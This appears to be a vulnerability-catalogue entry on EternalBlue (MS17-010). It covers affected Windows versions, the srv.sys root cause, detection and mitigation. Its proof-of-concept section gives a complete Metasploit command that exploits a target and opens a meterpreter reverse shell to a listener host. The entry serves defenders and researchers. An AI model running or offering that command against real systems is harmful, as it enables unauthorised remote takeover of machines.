every *2shell, one place
← all bugs

EternalBlue (MS17-010)

aka MS17-010, EternalRomance, EternalSynergy, EternalChampion
Product
Microsoft Windows SMBv1
CVE
CVE-2017-0144CVE-2017-0143CVE-2017-0145CVE-2017-0146CVE-2017-0148
Disclosed
2017-03-14
CVSS
8.8
Auth
pre-auth
CISA KEV
yes
Affected
Windows Vista, 7, 8.1, 10 (pre-1703), Server 2008/2008 R2/2012/2012 R2/2016 with SMBv1 enabled; out-of-support XP/2003 (emergency patch issued).
Fixed
MS17-010 security update (March 2017); KB4012598 for XP/2003/8.

Summary

A memory-corruption bug in the Windows SMBv1 server, developed into the NSA exploit EternalBlue and leaked by the Shadow Brokers in April 2017. It was then used by the WannaCry and NotPetya worms to spread across networks, giving unauthenticated remote code execution as SYSTEM.

Root cause

srv.sys mishandles the conversion of OS/2 File Extended Attribute (FEA) lists to NT FEA lists: a size calculation error (a DWORD truncated to WORD) produces an undersized non-paged pool buffer, which is then overflowed. Combined with grooming via SMBv1 Trans2 SESSION_SETUP requests and a second bug that confuses transaction types, this yields a reliable kernel pool overflow and code execution.

Impact

Unauthenticated, wormable kernel-level RCE (SYSTEM) on any host with TCP/445 reachable and SMBv1 enabled.

Public PoC

# check
nmap -p445 --script smb-vuln-ms17-010 10.0.0.5

# exploit (lab only)
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; \
  set RHOSTS 10.0.0.5; set LHOST 10.0.0.1; \
  set PAYLOAD windows/x64/meterpreter/reverse_tcp; run"

Source: Rapid7 Metasploit - exploit/windows/smb/ms17_010_eternalblue

Detection

nmap --script smb-vuln-ms17-010 -p445 <host>; Metasploit auxiliary/scanner/smb/smb_ms17_010. IDS signatures for DoublePulsar backdoor (SMB Trans2 SESSION_SETUP with unusual multiplex IDs). Check for missing MS17-010 KBs.

Mitigation

Apply MS17-010 and disable SMBv1 (Set-SmbServerConfiguration -EnableSMB1Protocol $false). Block TCP/445 at the perimeter.

References